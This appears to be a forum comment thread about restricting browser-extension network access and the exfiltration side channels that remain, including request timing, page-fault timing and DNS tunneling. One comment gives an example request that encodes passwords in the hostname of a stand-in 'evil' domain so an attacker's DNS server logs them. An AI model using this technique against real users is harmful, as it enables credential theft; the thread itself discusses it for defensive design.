Why I specified "fixed URLs", to close that loophole

My fixed URLs are example.com/0 and example.com/1; I'm going to load them a lot, sometimes in different sequences.

This is really a fantastic, concise explanation of the pitfalls in OP's logic. Bravo.

Still: The bandwidth of the side channel can be dramatically reduced with a combination of a limit on the number of fixed addresses that can be requested and a limit on the rate of URL requests.

If only one fixed URL may be requested, then the only information revealed[1] is the fact of the request (1 bit) and the time of the request. If that URL may only be requested once per day, scheduled at a time of day chosen uniformly at random, then side channel bandwidth is limited to 1 bit / day, so it would take a good chunk of a year to exfiltrate a disk encryption key. If that URL may be requested only once per week, then it would take nearly five years to exfiltrate a 256-bit key.

Configuration data does not need to be updated so frequently, so this seems like a reasonable strategy.

[1]: (except for potential request metadata that you leak across the web anyway, e.g. IP address or browser user agent string)

> The bandwidth of the side channel can be dramatically reduced

In the late 90s I read a paper about using page faults to exfiltrate data to a low privilege process on a TCSEC B [1] system. A very low bandwidth, noisy side channel was created by using different amount of memory in a privileged process. The low privilege process received the data by initially allocating a large amount of memory and regularly walking across pages while timing each memory read to detect page faults. It was extremely noisy, but a standard error correction scheme and some clever tuning let them exfiltrate data at "a few hundred bits"/hour.

That might be plenty of bandwidth, if you're trying to send keys, names, ID numbers, etc. As usual, the utility of a very low bandwidth channel depends on your threat model.

> e.g. IP address or browser user agent string)

Or the variations in your OS's IP implementation that allow nmap to guess your OS[2]. Or the various "random" ways[3] different OS generate the TCP ISN (Initial Sequence Number).

Security is hard... ~sigh~

[1] https://en.wikipedia.org/wiki/Trusted_Computer_System_Evalua...

[2] https://nmap.org/book/man-os-detection.html

[3] https://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html

So restrict it even further: extension manifest lists URLs, contents of which shall be made available to the extension, but keep the browser in control of when to fetch, with an enforced minimum cache lifetime.

This is an apples to oranges comparison. DNS requests exfiltrate data such as IP and the domain you want to visit. Currently extensions can literally upload all your passwords if they wish to. Restricting them to be able to only GET whitelisted URLs (no query params or paramterized URLs) would cut down on pretty much 99.999% of possible data theft scenarios.

Extension can issue GET https://password1-abc_password2-defzzz-password3-zzzfed.evil... and DNS server run by evilhost.com will log that query.

You can exfiltrate data using regular DNS requests, by hiding the data in the host part of the query. The authoritative name server for the domain can then extract out and re-assemble the data.

https://blogs.akamai.com/2017/09/introduction-to-dns-data-ex...

There is a lot more to the DNS protocol and packet structure than you are aware.

DNS tunneling is a well-known exfiltration technique which can place data inside of DNS request packets. There are several methods of placing the data in the request packet. In such a case the DNS query might appear as a benign request for IBM.COM's ip address.